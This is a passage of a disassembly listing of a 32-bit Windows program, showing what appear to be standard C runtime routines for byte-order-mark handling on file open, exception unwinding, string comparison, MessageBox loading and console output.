cmp eax, 3
jnz loc_4192AF
cmp [ebp+var_8], 0BFBBEFh
jnz short loc_419264
mov [ebp+var_2], 1
jmp loc_4192F0
; ---------------------------------------------------------------------------
loc_419214: ; CODE XREF: sub_418D2B+42Cj
mov eax, [ebp+var_10]
cmp eax, ebx
jbe loc_4192F0
cmp eax, 2
jbe loc_41918A
cmp eax, 4
ja loc_419181
push 2
push ebx
push ebx
push dword ptr [esi]
call sub_4178D6
add esp, 10h
or eax, edx
jz loc_41918A
push ebx
push ebx
push ebx
push dword ptr [esi]
call sub_4178D6
add esp, 10h
and eax, edx
loc_419256: ; CODE XREF: sub_418D2B+590j
cmp eax, 0FFFFFFFFh
jnz loc_4192F0
jmp loc_419069
; ---------------------------------------------------------------------------
loc_419264: ; CODE XREF: sub_418D2B+4CCj
; sub_418D2B+4DEj
mov eax, [ebp+var_8]
and eax, 0FFFFh
cmp eax, 0FFFEh
jnz short loc_41928C
push dword ptr [esi]
call sub_414C65
pop ecx
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_419285: ; CODE XREF: sub_418D2B+C6j
mov eax, esi
jmp loc_419364
; ---------------------------------------------------------------------------
loc_41928C: ; CODE XREF: sub_418D2B+546j
cmp eax, 0FEFFh
jnz short loc_4192AF
push ebx
push 2
push dword ptr [esi]
call sub_41AB51
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_419069
mov [ebp+var_2], 2
jmp short loc_4192F0
; ---------------------------------------------------------------------------
loc_4192AF: ; CODE XREF: sub_418D2B+4D1j
; sub_418D2B+566j
push ebx
push ebx
push dword ptr [esi]
call sub_41AB51
add esp, 0Ch
jmp short loc_419256
; ---------------------------------------------------------------------------
loc_4192BD: ; CODE XREF: sub_418D2B+466j
mov [ebp+var_8], 0BFBBEFh
mov [ebp+var_10], 3
loc_4192CB: ; CODE XREF: sub_418D2B+481j
; sub_418D2B+5C3j
mov eax, [ebp+var_10]
sub eax, edi
push eax
lea eax, [ebp+edi+var_8]
push eax
push dword ptr [esi]
call sub_4149D5
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_419069
add edi, eax
cmp [ebp+var_10], edi
jg short loc_4192CB
loc_4192F0: ; CODE XREF: sub_418D2B+30Ej
; sub_418D2B+38Fj ...
mov eax, [esi]
mov ecx, eax
and eax, 1Fh
imul eax, 28h
sar ecx, 5
mov ecx, dword_424EE0[ecx*4]
lea eax, [ecx+eax+24h]
mov cl, [eax]
xor cl, [ebp+var_2]
and cl, 7Fh
xor [eax], cl
mov eax, [esi]
mov ecx, eax
and eax, 1Fh
imul eax, 28h
sar ecx, 5
mov ecx, dword_424EE0[ecx*4]
lea eax, [ecx+eax+24h]
mov ecx, [ebp+arg_8]
mov dl, [eax]
shr ecx, 10h
shl cl, 7
and dl, 7Fh
or cl, dl
cmp [ebp+var_3], bl
mov [eax], cl
jnz short loc_419362
test byte ptr [ebp+arg_8], 8
jz short loc_419362
mov esi, [esi]
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
mov eax, dword_424EE0[eax*4]
lea eax, [eax+esi+4]
or byte ptr [eax], 20h
loc_419362: ; CODE XREF: sub_418D2B+614j
; sub_418D2B+61Aj
mov eax, ebx
loc_419364: ; CODE XREF: sub_418D2B+270j
; sub_418D2B+55Cj
pop edi
pop esi
pop ebx
leave
retn
sub_418D2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419369 proc near ; CODE XREF: sub_419435+14p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push 14h
push offset dword_41FDD8
call __SEH_prolog4
xor esi, esi
mov [ebp+var_1C], esi
xor eax, eax
mov edi, [ebp+arg_10]
cmp edi, esi
setnz al
cmp eax, esi
jnz short loc_4193A3
loc_419388: ; CODE XREF: sub_419369+47j
; sub_419369+5Bj
call sub_40F79E
push 16h
pop edi
mov [eax], edi
push esi
push esi
push esi
push esi
push esi
call sub_40DCD8
add esp, 14h
mov eax, edi
jmp short loc_4193FC
; ---------------------------------------------------------------------------
loc_4193A3: ; CODE XREF: sub_419369+1Dj
or dword ptr [edi], 0FFFFFFFFh
xor eax, eax
cmp [ebp+arg_0], esi
setnz al
cmp eax, esi
jz short loc_419388
cmp [ebp+arg_14], esi
jz short loc_4193C6
mov eax, [ebp+arg_C]
and eax, 0FFFFFE7Fh
neg eax
sbb eax, eax
inc eax
jz short loc_419388
loc_4193C6: ; CODE XREF: sub_419369+4Cj
mov [ebp+ms_exc.disabled], esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_1C]
push eax
mov eax, edi
call sub_418D2B
add esp, 14h
mov [ebp+var_20], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_419407
mov eax, [ebp+var_20]
cmp eax, esi
jz short loc_4193FC
or dword ptr [edi], 0FFFFFFFFh
loc_4193FC: ; CODE XREF: sub_419369+38j
; sub_419369+8Ej
call __SEH_epilog4
retn
sub_419369 endp
; =============== S U B R O U T I N E =======================================
sub_419402 proc near ; DATA XREF: .vty:0041FDF0o
xor esi, esi
mov edi, [ebp+18h]
sub_419402 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419407 proc near ; CODE XREF: sub_419369+84p
cmp [ebp-1Ch], esi
jz short locret_419434
cmp [ebp-20h], esi
jz short loc_41942C
mov eax, [edi]
mov ecx, eax
sar ecx, 5
and eax, 1Fh
imul eax, 28h
mov ecx, dword_424EE0[ecx*4]
lea eax, [ecx+eax+4]
and byte ptr [eax], 0FEh
loc_41942C: ; CODE XREF: sub_419407+8j
push dword ptr [edi]
call sub_419F16
pop ecx
locret_419434: ; CODE XREF: sub_419407+3j
retn
sub_419407 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419435 proc near ; CODE XREF: sub_413BFD+26Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 1
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_419369
add esp, 18h
pop ebp
retn
sub_419435 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419453 proc near ; CODE XREF: sub_41966D+Ap
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push [ebp+arg_8]
lea ecx, [ebp+var_14]
call sub_40F7E2
mov edx, [ebp+arg_0]
xor esi, esi
cmp edx, esi
jnz short loc_41949D
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_8], 0
jz short loc_419493
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419493: ; CODE XREF: sub_419453+37j
mov eax, 7FFFFFFFh
jmp loc_41966A
; ---------------------------------------------------------------------------
loc_41949D: ; CODE XREF: sub_419453+19j
push ebx
mov ebx, [ebp+arg_4]
cmp ebx, esi
jnz short loc_4194D4
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_8], 0
jz short loc_4194CA
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4194CA: ; CODE XREF: sub_419453+6Ej
mov eax, 7FFFFFFFh
jmp loc_419669
; ---------------------------------------------------------------------------
loc_4194D4: ; CODE XREF: sub_419453+50j
mov eax, [ebp+var_10]
cmp [eax+8], esi
jnz short loc_419500
lea eax, [ebp+var_14]
push eax
push ebx
push edx
call sub_41A2A3
add esp, 0Ch
cmp [ebp+var_8], 0
jz loc_419669
mov ecx, [ebp+var_C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_419669
; ---------------------------------------------------------------------------
loc_419500: ; CODE XREF: sub_419453+87j
push edi
mov edi, 200h
loc_419506: ; CODE XREF: sub_419453+1CDj
movzx cx, byte ptr [edx]
movzx ecx, cx
movzx esi, cl
inc edx
test byte ptr [esi+eax+1Dh], 4
mov [ebp+arg_0], edx
jz short loc_419574
cmp byte ptr [edx], 0
jnz short loc_419524
xor esi, esi
jmp short loc_419590
; ---------------------------------------------------------------------------
loc_419524: ; CODE XREF: sub_419453+CBj
push 1
push dword ptr [eax+4]
lea ecx, [ebp+var_4]
push 2
push ecx
push 2
dec edx
push edx
push edi
push dword ptr [eax+0Ch]
lea eax, [ebp+var_14]
push eax
call sub_413945
add esp, 24h
cmp eax, 1
jnz short loc_41954F
movzx ax, [ebp+var_4]
jmp short loc_419569
; ---------------------------------------------------------------------------
loc_41954F: ; CODE XREF: sub_419453+F3j
cmp eax, 2
jnz loc_419625
movzx ax, [ebp+var_4]
movzx cx, [ebp+var_3]
shl ax, 8
add ax, cx
loc_419569: ; CODE XREF: sub_419453+FAj
inc [ebp+arg_0]
movzx esi, ax
mov eax, [ebp+var_10]
jmp short loc_419590
; ---------------------------------------------------------------------------
loc_419574: ; CODE XREF: sub_419453+C6j
movzx edx, cx
lea ecx, [edx+eax]
test byte ptr [ecx+1Dh], 10h
jz short loc_41958D
movzx cx, byte ptr [ecx+11Dh]
movzx esi, cx
jmp short loc_419590
; ---------------------------------------------------------------------------
loc_41958D: ; CODE XREF: sub_419453+12Bj
movzx esi, dx
loc_419590: ; CODE XREF: sub_419453+CFj
; sub_419453+11Fj ...
movzx cx, byte ptr [ebx]
movzx ecx, cx
movzx edx, cl
inc ebx
test byte ptr [edx+eax+1Dh], 4
jz short loc_4195F7
cmp byte ptr [ebx], 0
jnz short loc_4195AB
xor ecx, ecx
jmp short loc_419613
; ---------------------------------------------------------------------------
loc_4195AB: ; CODE XREF: sub_419453+152j
push 1
push dword ptr [eax+4]
lea ecx, [ebp+var_4]
push 2
push ecx
push 2
lea ecx, [ebx-1]
push ecx
push edi
push dword ptr [eax+0Ch]
lea eax, [ebp+var_14]
push eax
call sub_413945
add esp, 24h
cmp eax, 1
jnz short loc_4195D8
movzx ax, [ebp+var_4]
jmp short loc_4195EE
; ---------------------------------------------------------------------------
loc_4195D8: ; CODE XREF: sub_419453+17Cj
cmp eax, 2
jnz short loc_419625
movzx ax, [ebp+var_4]
movzx cx, [ebp+var_3]
shl ax, 8
add ax, cx
loc_4195EE: ; CODE XREF: sub_419453+183j
movzx ecx, ax
mov eax, [ebp+var_10]
inc ebx
jmp short loc_419613
; ---------------------------------------------------------------------------
loc_4195F7: ; CODE XREF: sub_419453+14Dj
movzx edx, cx
lea ecx, [edx+eax]
test byte ptr [ecx+1Dh], 10h
jz short loc_419610
movzx cx, byte ptr [ecx+11Dh]
movzx ecx, cx
jmp short loc_419613
; ---------------------------------------------------------------------------
loc_419610: ; CODE XREF: sub_419453+1AEj
movzx ecx, dx
loc_419613: ; CODE XREF: sub_419453+156j
; sub_419453+1A2j ...
cmp cx, si
jnz short loc_419644
test si, si
jz short loc_419659
mov edx, [ebp+arg_0]
jmp loc_419506
; ---------------------------------------------------------------------------
loc_419625: ; CODE XREF: sub_419453+FFj
; sub_419453+188j
call sub_40F79E
mov dword ptr [eax], 16h
cmp [ebp+var_8], 0
jz short loc_41963D
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41963D: ; CODE XREF: sub_419453+1E1j
mov eax, 7FFFFFFFh
jmp short loc_419668
; ---------------------------------------------------------------------------
loc_419644: ; CODE XREF: sub_419453+1C3j
sbb eax, eax
and eax, 2
dec eax
cmp [ebp+var_8], 0
jz short loc_419668
mov ecx, [ebp+var_C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_419668
; ---------------------------------------------------------------------------
loc_419659: ; CODE XREF: sub_419453+1C8j
cmp [ebp+var_8], 0
jz short loc_419666
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419666: ; CODE XREF: sub_419453+20Aj
xor eax, eax
loc_419668: ; CODE XREF: sub_419453+1EFj
; sub_419453+1FBj ...
pop edi
loc_419669: ; CODE XREF: sub_419453+7Cj
; sub_419453+9Bj ...
pop ebx
loc_41966A: ; CODE XREF: sub_419453+45j
pop esi
leave
retn
sub_419453 endp
; =============== S U B R O U T I N E =======================================
sub_41966D proc near ; CODE XREF: sub_413BFD+1E6p
; sub_413BFD+203p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_419453
add esp, 0Ch
retn
sub_41966D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419680 proc near ; CODE XREF: sub_4197E9+Ep
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
jnz short loc_419695
xor eax, eax
jmp loc_4197D2
; ---------------------------------------------------------------------------
loc_419695: ; CODE XREF: sub_419680+Cj
push edi
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40F7E2
mov edi, [ebp+var_C]
cmp [edi+8], ebx
jnz short loc_4196CF
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418956
add esp, 0Ch
cmp [ebp+var_4], bl
jz loc_4197D1
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_4197D1
; ---------------------------------------------------------------------------
loc_4196CF: ; CODE XREF: sub_419680+27j
cmp [ebp+arg_0], ebx
jnz short loc_419702
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_4196F8
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4196F8: ; CODE XREF: sub_419680+6Fj
mov eax, 7FFFFFFFh
jmp loc_4197D1
; ---------------------------------------------------------------------------
loc_419702: ; CODE XREF: sub_419680+52j
push esi
mov esi, [ebp+arg_4]
cmp esi, ebx
jnz short loc_419738
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_41972E
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41972E: ; CODE XREF: sub_419680+A5j
mov eax, 7FFFFFFFh
jmp loc_4197D0
; ---------------------------------------------------------------------------
loc_419738: ; CODE XREF: sub_419680+88j
; sub_419680+13Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
dec [ebp+arg_8]
movzx ecx, cx
movzx edx, cl
inc eax
test byte ptr [edx+edi+1Dh], 4
mov [ebp+arg_0], eax
jz short loc_41977F
cmp [ebp+arg_8], ebx
jnz short loc_419769
movzx eax, byte ptr [esi]
xor ecx, ecx
test byte ptr [eax+edi+1Dh], 4
jnz short loc_4197C2
movzx eax, ax
jmp short loc_4197AF
; ---------------------------------------------------------------------------
loc_419769: ; CODE XREF: sub_419680+D6j
mov al, [eax]
cmp al, bl
jnz short loc_419773
xor ecx, ecx
jmp short loc_41977F
; ---------------------------------------------------------------------------
loc_419773: ; CODE XREF: sub_419680+EDj
xor edx, edx
inc [ebp+arg_0]
mov dh, cl
mov dl, al
movzx ecx, dx
loc_41977F: ; CODE XREF: sub_419680+D1j
; sub_419680+F1j
movzx ax, byte ptr [esi]
movzx eax, ax
movzx edx, al
inc esi
test byte ptr [edx+edi+1Dh], 4
jz short loc_4197AF
cmp [ebp+arg_8], ebx
jnz short loc_41979A
loc_419796: ; CODE XREF: sub_419680+121j
xor eax, eax
jmp short loc_4197AF
; ---------------------------------------------------------------------------
loc_41979A: ; CODE XREF: sub_419680+114j
mov dl, [esi]
dec [ebp+arg_8]
cmp dl, bl
jz short loc_419796
xor ebx, ebx
mov bh, al
inc esi
mov bl, dl
movzx eax, bx
xor ebx, ebx
loc_4197AF: ; CODE XREF: sub_419680+E7j
; sub_419680+10Fj ...
cmp ax, cx
jnz short loc_4197D5
cmp cx, bx
jz short loc_4197C2
cmp [ebp+arg_8], ebx
jnz loc_419738
loc_4197C2: ; CODE XREF: sub_419680+E2j
; sub_419680+137j
cmp [ebp+var_4], bl
jz short loc_4197CE
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4197CE: ; CODE XREF: sub_419680+145j
xor eax, eax
loc_4197D0: ; CODE XREF: sub_419680+B3j
; sub_419680+15Ej ...
pop esi
loc_4197D1: ; CODE XREF: sub_419680+3Dj
; sub_419680+4Aj ...
pop edi
loc_4197D2: ; CODE XREF: sub_419680+10j
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4197D5: ; CODE XREF: sub_419680+132j
sbb eax, eax
and eax, 2
dec eax
cmp [ebp+var_4], bl
jz short loc_4197D0
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_4197D0
sub_419680 endp
; =============== S U B R O U T I N E =======================================
sub_4197E9 proc near ; CODE XREF: sub_413BFD+1D1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_419680
add esp, 10h
retn
sub_4197E9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_419818
push dword ptr [ebp+8]
call sub_41AE3E ; RtlUnwind
loc_419818: ; DATA XREF: .vty:0041980Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419820: ; DATA XREF: sub_419865+Bo
; .vty:004198F2o
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_419864
mov eax, [esp+14h]
mov ecx, [eax-4]
xor ecx, eax
call sub_410BCD
push ebp
mov ebp, [eax+10h]
mov edx, [eax+28h]
push edx
mov edx, [eax+24h]
push edx
call sub_419865
add esp, 8
pop ebp
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_419864: ; CODE XREF: .vty:00419830j
retn
; =============== S U B R O U T I N E =======================================
sub_419865 proc near ; CODE XREF: .vty:0041984Cp
var_20 = dword ptr -20h
var_18 = dword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push ebp
push eax
push 0FFFFFFFEh
push offset loc_419820
push large dword ptr fs:0
mov eax, dword_4231C4
xor eax, esp
push eax
lea eax, [esp+24h+var_20]
mov large fs:0, eax
loc_41988E: ; CODE XREF: sub_419865:loc_4198D5j
mov eax, [esp+24h+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4198D7
cmp [esp+24h+arg_4], 0FFFFFFFFh
jz short loc_4198AA
cmp esi, [esp+24h+arg_4]
jbe short loc_4198D7
loc_4198AA: ; CODE XREF: sub_419865+3Dj
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+24h+var_18], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4198D5
push 101h
mov eax, [ebx+esi*4+8]
call sub_419915
mov eax, [ebx+esi*4+8]
call sub_419934
loc_4198D5: ; CODE XREF: sub_419865+57j
jmp short loc_41988E
; ---------------------------------------------------------------------------
loc_4198D7: ; CODE XREF: sub_419865+36j
; sub_419865+43j
mov ecx, [esp+24h+var_20]
mov large fs:0, ecx
add esp, 18h
pop edi
pop esi
pop ebx
retn
sub_419865 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset loc_419820
jnz short locret_41990B
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41990B
mov eax, 1
locret_41990B: ; CODE XREF: .vty:004198F9j
; .vty:00419904j
retn
; =============== S U B R O U T I N E =======================================
sub_41990C proc near ; CODE XREF: sub_416AE0+1Ep
; sub_416AE0+40p
push ebx
push ecx
mov ebx, offset dword_423F20
jmp short loc_419920
sub_41990C endp
; =============== S U B R O U T I N E =======================================
sub_419915 proc near ; CODE XREF: sub_413FC8+6Ep
; sub_412800+18D9p ...
arg_0 = dword ptr 4
push ebx
push ecx
mov ebx, offset dword_423F20
mov ecx, [esp+8+arg_0]
loc_419920: ; CODE XREF: sub_41990C+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
push ebp
push ecx
push eax
pop eax
pop ecx
pop ebp
pop ecx
pop ebx
retn 4
sub_419915 endp
; =============== S U B R O U T I N E =======================================
sub_419934 proc near ; CODE XREF: sub_413FC8+7Bp
; sub_419865+6Bp
call eax
retn
sub_419934 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419937 proc near ; CODE XREF: sub_41422C+15Dp
var_30 = dword ptr -30h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
call sub_411DB6
xor ebx, ebx
cmp dword_424D78, ebx
mov [ebp+var_10], eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
jnz loc_419A0C
push offset aUser32_dll ; "USER32.DLL"
call dword_41C044 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jnz short loc_419977
loc_419970: ; CODE XREF: sub_419937+50j
xor eax, eax
jmp loc_419AD0
; ---------------------------------------------------------------------------
loc_419977: ; CODE XREF: sub_419937+37j
mov esi, dword_41C0AC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
jz short loc_419970
push eax
call sub_411D53
mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
push edi
mov dword_424D78, eax
call esi ; GetProcAddress
push eax
call sub_411D53
mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_424D7C, eax
call esi ; GetProcAddress
push eax
call sub_411D53
mov dword_424D80, eax
lea eax, [ebp+var_8]
push eax
call sub_412542
test eax, eax
pop ecx
pop ecx
jz short loc_4199DA
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_4199DA: ; CODE XREF: sub_419937+94j
cmp [ebp+var_8], 2
jnz short loc_419A0C
push offset aGetuserobjecti ; "GetUserObjectInformationA"
push edi
call esi ; GetProcAddress
push eax
call sub_411D53
cmp eax, ebx
pop ecx
mov dword_424D88, eax
jz short loc_419A0C
push offset aGetprocesswind ; "GetProcessWindowStation"
push edi
call esi ; GetProcAddress
push eax
call sub_411D53
pop ecx
mov dword_424D84, eax
loc_419A0C: ; CODE XREF: sub_419937+22j
; sub_419937+A7j ...
mov eax, dword_424D84
mov esi, [ebp+var_10]
cmp eax, esi
jz short loc_419A85
cmp dword_424D88, esi
jz short loc_419A85
push eax
call sub_411DBF
pop ecx
call eax ; GetProcessWindowStation
cmp eax, ebx
jz short loc_419A52
lea ecx, [ebp+var_14]
push ecx
push 0Ch
lea ecx, [ebp+var_20]
push ecx
push 1
push eax
push dword_424D88
call sub_411DBF
pop ecx
call eax ; GetProcessWindowStation
test eax, eax
jz short loc_419A52
test [ebp+var_18], 1
jnz short loc_419A85
loc_419A52: ; CODE XREF: sub_419937+F4j
; sub_419937+113j
lea eax, [ebp+var_C]
push eax
call sub_412579
test eax, eax
pop ecx
jz short loc_419A6D
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_419A6D: ; CODE XREF: sub_419937+127j
cmp [ebp+var_C], 4
jb short loc_419A7C
or [ebp+arg_8], 200000h
jmp short loc_419AB6
; ---------------------------------------------------------------------------
loc_419A7C: ; CODE XREF: sub_419937+13Aj
or [ebp+arg_8], 40000h
jmp short loc_419AB6
; ---------------------------------------------------------------------------
loc_419A85: ; CODE XREF: sub_419937+DFj
; sub_419937+E7j ...
mov eax, dword_424D7C
cmp eax, esi
jz short loc_419AB6
push eax
call sub_411DBF
pop ecx
call eax ; MessageBoxA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_419AB6
mov eax, dword_424D80
cmp eax, esi
jz short loc_419AB6
push [ebp+var_4]
push eax
call sub_411DBF
pop ecx
call eax ; MessageBoxA
mov [ebp+var_4], eax
loc_419AB6: ; CODE XREF: sub_419937+143j
; sub_419937+14Cj ...
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+var_4]
push dword_424D78
call sub_411DBF
pop ecx
call eax ; MessageBoxA
loc_419AD0: ; CODE XREF: sub_419937+3Bj
pop edi
pop esi
pop ebx
leave
retn
sub_419937 endp
; =============== S U B R O U T I N E =======================================
sub_419AD5 proc near ; CODE XREF: sub_41422C+27p
; sub_41422C+38p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
cmp ecx, esi
jl short loc_419AFE
cmp ecx, 2
jle short loc_419AF1
cmp ecx, 3
jnz short loc_419AFE
mov eax, dword_42439C
pop esi
retn
; ---------------------------------------------------------------------------
loc_419AF1: ; CODE XREF: sub_419AD5+Ej
mov eax, dword_42439C
mov dword_42439C, ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_419AFE: ; CODE XREF: sub_419AD5+9j
; sub_419AD5+13j
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
pop esi
retn
sub_419AD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B1B proc near ; CODE XREF: sub_41440F+2A1p
; sub_41440F+2C1p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
push esi
xor esi, esi
cmp dword_423F30, esi
jz short loc_419B84
cmp dword_424164, 0FFFFFFFEh
jnz short loc_419B44
call sub_41ACB3
loc_419B44: ; CODE XREF: sub_419B1B+22j
mov eax, dword_424164
cmp eax, 0FFFFFFFFh
jnz short loc_419B54
loc_419B4E: ; CODE XREF: sub_419B1B+56j
; sub_419B1B+61j ...
or ax, 0FFFFh
jmp short loc_419BC4
; ---------------------------------------------------------------------------
loc_419B54: ; CODE XREF: sub_419B1B+31j
push esi
lea ecx, [ebp+var_10]
push ecx
push 1
lea ecx, [ebp+arg_0]
push ecx
push eax
call dword_41C02C ; WriteConsoleW
test eax, eax
jnz short loc_419BD1
cmp dword_423F30, 2
jnz short loc_419B4E
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_419B4E
mov dword_423F30, esi
loc_419B84: ; CODE XREF: sub_419B1B+19j
push esi
push esi
push 5
lea eax, [ebp+var_C]
push eax
push 1
lea eax, [ebp+arg_0]
push eax
push esi
call dword_41C028 ; GetConsoleOutputCP
push eax
call dword_41C170 ; WideCharToMultiByte
mov ecx, dword_424164
cmp ecx, 0FFFFFFFFh
jz short loc_419B4E
push esi
lea edx, [ebp+var_10]
push edx
push eax
lea eax, [ebp+var_C]
push eax
push ecx
call dword_41C030 ; WriteConsoleA
test eax, eax
jz short loc_419B4E
loc_419BC0: ; CODE XREF: sub_419B1B+C0j
mov ax, [ebp+arg_0]
loc_419BC4: ; CODE XREF: sub_419B1B+37j
mov ecx, [ebp+var_4]
xor ecx, ebp
pop esi
call sub_410BCD
leave
retn
; ---------------------------------------------------------------------------
loc_419BD1: ; CODE XREF: sub_419B1B+4Dj
mov dword_423F30, 1
jmp short loc_419BC0
sub_419B1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BDD proc near ; CODE XREF: sub_419CF0+Ep
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_419C01
cmp [ebp+arg_8], ebx
jz short loc_419C01
cmp [esi], bl
jnz short loc_419C07
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_419C01
mov [eax], bx
loc_419C01: ; CODE XREF: sub_419BDD+Fj
; sub_419BDD+14j ...
xor eax, eax
loc_419C03: ; CODE XREF: sub_419BDD+5Aj
; sub_419BDD+BBj ...
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419C07: ; CODE XREF: sub_419BDD+18j
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40F7E2
mov eax, [ebp+var_10]
